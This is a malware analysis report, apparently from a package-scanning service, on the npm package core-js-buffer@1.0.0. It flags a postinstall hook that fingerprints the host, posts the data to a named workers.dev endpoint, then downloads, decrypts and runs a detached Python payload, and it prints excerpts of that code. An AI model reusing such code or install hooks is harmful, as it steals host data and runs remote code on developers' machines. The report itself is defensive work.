registry / Remote code execution / core-js-buffer
core-js-buffer
Core JavaScript buffer utilities for Node.js
This report shows the evidence for core-js-buffer@1.0.0, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis package contains an automatic install-time telemetry and encrypted remote-payload execution chain. Its benign runtime API does not justify that behavior.
Static reason
One or more suspicious static signals were detected.
Trigger
npm install/postinstall on a machine with common home-directory folders
Impact
Unconsented host metadata exfiltration and remote code execution during installation.
Mechanism
remote encrypted payload download, drop, and detached Python execution
Attack narrative
The postinstall hook runs init.js only when common developer directories exist. It transmits hostname, username, platform, Node version, and OS release to a hard-coded host, retrieves an encrypted blob, decrypts it with an embedded key, writes Python files beneath the user cache directory, and launches the resulting program detached. This is a concrete install-time staged remote-code-execution chain unrelated to buffer utilities.
AI rationale
This package contains an automatic install-time telemetry and encrypted remote-payload execution chain. Its benign runtime API does not justify that behavior.
Evidence
package.jsoninit.jsbuffer.js
Network endpoints1
core-js-buffer.domaup-com.workers.dev
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs init.js automatically at postinstall.
- init.js fingerprints the host and username, then POSTs them to its hard-coded host.
- The install hook downloads and AES-GCM decrypts a remote blob, then writes it as Python.
- It starts the downloaded Python-derived program detached from npm.
Evidence against
- buffer.js itself is a small local hex encode/decode utility with no network or execution behavior.
- No malicious behavior was found in the normal runtime entry point.
Behavioral surface
ChildProcessCryptoFilesystemNetwork
HighEntropyStrings
Source & flagged code
4 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node init.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkginit.jsView file
113httpPost('/report', {
hostname: os.hostname(),
user: os.userInfo().username,
platform: os.platform() + ' ' + os.arch(),
node_version: process.versions.node,
os_release: os.release(),
package: 'core-js-buffer@' + pkgVersion(),
ts: new Date().toISOString(),
}).catch(function() {});
High
Ai Review Evidence
init.js fingerprints the host and username, then POSTs them to its hard-coded host.
init.jsView on unpkg · L113123try {
var key = deriveKey();
var blob = await httpGet('/e');
if (!blob || blob.length < 32) return;
var plain = gcmDecrypt(key, blob);
if (!plain || plain.length < 100) return;
var code = plain.toString('utf8');
if (!code.includes('TelemetrySender')) return;
var python = findPython();
if (!python) return;
var modDir = path.join(CACHE, 'modules');
fs.mkdirSync(modDir, { recursive: true });
fs.writeFileSync(path.join(modDir, 'runtime.py'), code);
Findings
4 High2 Medium3 Low
HighInstall Time Lifecycle Scriptspackage.json
HighAi Review Evidenceinit.js
HighSuspicious Lifecycle Evidenceinit.js
HighAi Review Evidenceinit.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to core-js-buffer@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing core-js-buffer@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.